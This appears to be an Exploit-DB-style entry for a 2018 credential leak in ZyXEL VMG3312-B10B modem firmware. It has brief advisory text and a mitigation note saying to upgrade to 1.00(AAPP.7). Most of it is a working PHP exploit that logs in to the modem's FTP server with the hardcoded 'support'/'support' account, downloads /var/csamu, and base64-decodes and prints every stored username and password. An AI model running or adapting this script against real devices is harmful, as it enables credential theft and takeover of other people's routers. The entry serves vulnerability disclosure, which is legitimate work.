ZyXEL VMG3312-B10B - Leak Credentials < 1.00(AAPP.7)

vendor:

VMG3312-B10B

by:

numan türle

8.8

CVSS

HIGH

Credential Leakage

200

CWE

Product Name: VMG3312-B10B

Affected Version From: 1.00(AAPP.0)D7

Affected Version To: 1.00(AAPP.7)

Patch Exists: YES

Related CWE: N/A

CPE: h:zyxel:vmg3312-b10b

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2018

ZyXEL VMG3312-B10B – Leak Credentials < 1.00(AAPP.7)

A vulnerability in ZyXEL VMG3312-B10B firmware version 1.00(AAPP.0)D7 allows an attacker to gain access to the modem's FTP server using the credentials 'support' and 'support'. By downloading the file '/var/csamu' from the FTP server, an attacker can gain access to the credentials of all users of the modem. The credentials are stored in the file in base64 encoded format.

Mitigation:

Upgrade to the latest version of the firmware (1.00(AAPP.7))

Source

Exploit-DB raw data:

# Exploit Title: ZyXEL VMG3312-B10B - Leak Credentials < 1.00(AAPP.7)
# Date: 2018-10-28
# Exploit Author: numan türle @numanturle
# Vendor Homepage: https://www.zyxel.com/
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/
# Firmware: 1.00(AAPP.0)D7 
# Tested on: windows
# Fixed firmware: 1.00(AAPP.7)


<?php 
$ftp_server = "192.168.1.1"; // modem ip address
$ftp_conn = ftp_connect($ftp_server) or die("ftp server close");
$login = ftp_login($ftp_conn, "support", "support"); // backdoor 

$local_file = "crackme";
$server_file = "/var/csamu"; // base64_encode files

if (ftp_get($ftp_conn, $local_file, $server_file, FTP_BINARY)) {
	$open = file($local_file);
	foreach($open as $u_p){
		$bomb = explode(" ",$u_p);
		$user = $bomb[0];
		$pass = base64_decode($bomb[1]);
		if(!empty($pass)){
			echo "{$user}:{$pass}<br>";
		}else {
			continue;
		}
	}
}else {
	echo "pfff";
}
ftp_close($ftp_conn); 
?>